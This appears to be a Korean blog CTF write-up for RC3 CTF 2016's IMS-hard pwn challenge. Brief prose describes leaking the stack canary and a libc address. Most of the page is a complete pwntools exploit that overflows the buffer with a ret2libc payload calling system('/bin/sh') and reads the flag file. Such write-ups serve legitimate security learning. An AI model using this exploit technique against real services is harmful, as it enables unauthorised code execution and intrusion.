본문 바로가기

Conference/Write up

IMS-hard - RC3 CTF 2016 400pt



다 똑같은데 보호기법이 추가됐다.

까나리랑 NX, Full RELRO 가 들어갔고 ASLR 은 없음.

메모리 릭으로 까나리값 읽어서 공격시에 복원해 주고, libc 주소 얻어서 system("/bin/sh") 로 공격.

libcdb.com 으로 다 해결하려고 했어서 나중엔 GOT 테이블까지 다 계산해서 릭했는데

libcdb 에서 맞는 so 를 못 찾아줌..; 시간 겁나게 쓰고는 Not found 가 뜰때의 빡;침이란..


libc database 로 그냥 libc_start_main 주소 얻어서 바로 공격했더니 로컬에서는 성공.

근데 이상하게 실서버에서 플래그가 안 떨어져서.. 페이로드 마지막 부분을 이래저래 수정해서 해결.


from pwn import *


IP = 'localhost'

PORT = 40645

IP = 'ims.ctf.rc3.club'

PORT = 8888


conn = remote(IP,PORT)

conn.recvuntil('Choose:')


payload = ""

payload += "3\n5\n" # canary


conn.send(payload)

conn.recvuntil('Product ID:')

recvdata =conn.recvline()

canary = recvdata.split(', ')[0]

print "%x"%int(canary)


#payload = "3\n7\n" # libc+243

conn.recvuntil('Choose:')

conn.send('3\n')

conn.recvuntil('view:')

conn.send('7\n') # for main addr / libc+243


k = conn.recvuntil('Code: ').split(':')[1].split(',')[0].strip()

#print 'stack %x'%int(k) # stack


#print "%x"% int(p32(int(k), sign='signed')[::-1].encode('hex'),0x10)

stackOn7 = int(p32(int(k), sign='signed')[::-1].encode('hex'),0x10)-156+4

print "stackOn7 %x"%stackOn7

#print '%d %x'%(i, p32(int(k), sign=unsigned))

libc_243 = int(conn.recv(8)[0:4][::-1].encode('hex'),0x10)

libc = libc_243-243

print "libc main : %x"%libc


mysystem = libc+157968

mybinsh = libc+1338956

print "mysystem %x"%mysystem

print "mybinsh %x"%mybinsh


system = libc+156816

binsh = libc+1327276

print "mysystem %x"%system

print "mybinsh %x"%binsh


payload += "1\n1\n1\n"

payload += "1\n2\n2\n"

payload += "1\n3\n3\n"

payload += "1\n4\n4\n"

payload += "1\n5\n5\n"

payload += "1\n%d\n6\n"%int(canary)


payload += "1\n%d\n0B0B0B0B0B0B0B0\n"%1094795585 #AAAA


'''##### on my pc

payload += "1\n%d\n"%1111638594 # BBBB

payload += p32(system)

payload += p32(binsh)

payload += p32(binsh)

payload += "\n"

'''#####


payload += "1\n%d\n"%binsh

payload += p32(system)

payload += p32(binsh)

payload += p32(binsh)

payload +="\n"



payload += "4\n"

conn.send(payload)


conn.send('cat /home/*/flag.txt\n')

conn.interactive()


'Conference > Write up' 카테고리의 다른 글

defcon 2017 - floater  (0) 2017.04.30
codegate - hunting  (0) 2017.02.16
IMS-easy - RC3 CTF 2016 150pt  (0) 2016.11.21
defcon24 - feedme  (0) 2016.06.08
2014 DEFCON - sftp  (0) 2014.06.08